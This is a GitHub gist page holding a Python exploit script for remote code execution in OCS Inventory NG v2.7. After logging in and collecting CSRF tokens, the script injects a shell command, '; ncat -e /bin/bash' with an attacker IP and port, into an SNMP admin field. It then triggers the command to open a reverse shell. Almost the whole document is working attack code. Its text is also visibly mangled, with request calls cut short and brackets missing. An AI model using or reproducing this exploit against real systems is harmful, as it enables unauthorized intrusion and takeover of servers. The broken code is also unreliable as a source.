Skip to content

Instantly share code, notes, and snippets.


mhaskar/ Secret

Created June 5, 2020 12:26
What would you like to do?
# Exploit Title: OCS Inventory NG v2.7 Remote Code Execution
# Date: 06/05/2020
# Exploit Author: Askar (@mohammadaskar2)
# Vendor Homepage:
# Version: v2.7
# Tested on: Ubuntu 18.04 / PHP 7.2.24
import requests
import sys
import warnings
import random
import string
from bs4 import BeautifulSoup
from urllib.parse import quote
warnings.filterwarnings("ignore", category=UserWarning, module='bs4')
if len(sys.argv) != 6:
print("[~] Usage : ./ url username password ip port")
url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]
request = requests.session()
def login():
login_info = {
"Valid_CNX": "Send",
"LOGIN": username,
"PASSWD": password
login_request ="/index.php", login_info)
login_text = login_request.text
if "User not registered" in login_text:
return False
return True
def inject_payload():
csrf_req = request.get(url+"/index.php?function=admin_conf")
content = csrf_req.text
soup = BeautifulSoup(content, "html5lib")
first_token = soup.find_all("input", id="CSRF_10")[0].get("value")
print("[+] 1st token : %s" % first_token)
first_data = {
"CSRF_10": first_token,
"onglet": "SNMP",
"old_onglet": "INVENTORY"
req ="/index.php?function=admin_conf", data=first_data)
content2 = req.text
soup2 = BeautifulSoup(content2, "html5lib")
second_token = soup2.find_all("input", id="CSRF_14")[0].get("value")
print("[+] 2nd token : %s" % second_token)
payload = "; ncat -e /bin/bash %s %s #" % (ip, port)
inject_request = {
"CSRF_14": second_token,
"onglet": "SNMP",
"old_onglet": "SNMP",
"SNMP": "0",
# The payload should be here
"Valid": "Update"
final_req ="/index.php?function=admin_conf", data=inject_request)
if "Update done" in final_req.text:
print("[+] Payload injected successfully")
def execute_payload():
csrf_req = request.get(url+"/index.php?function=SNMP_config")
content = csrf_req.text
soup = BeautifulSoup(content, "html5lib")
third_token = soup.find_all("input", id="CSRF_22")[0].get("value")
third_request ="/index.php?function=SNMP_config", files={
'CSRF_22': (None, third_token),
'onglet': (None, 'SNMP_MIB'),
'old_onglet': (None, 'SNMP_RULE'),
'snmp_config_length': (None, '10')
print("[+] 3rd token : %s" % third_token)
third_request_text = third_request.text
soup = BeautifulSoup(third_request_text, "html5lib")
forth_token = soup.find_all("input", id="CSRF_26")[0].get("value")
print("[+] 4th token : %s" % forth_token)
print("[+] Triggering payload ..")
print("[+] Check your nc ;)")
forth_request ="/index.php?function=SNMP_config", files={
'CSRF_26': (None, forth_token),
'onglet': (None, 'SNMP_MIB'),
'old_onglet': (None, 'SNMP_MIB'),
'update_snmp': (None, 'send')
if login():
print("[+] Valid credentials!")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment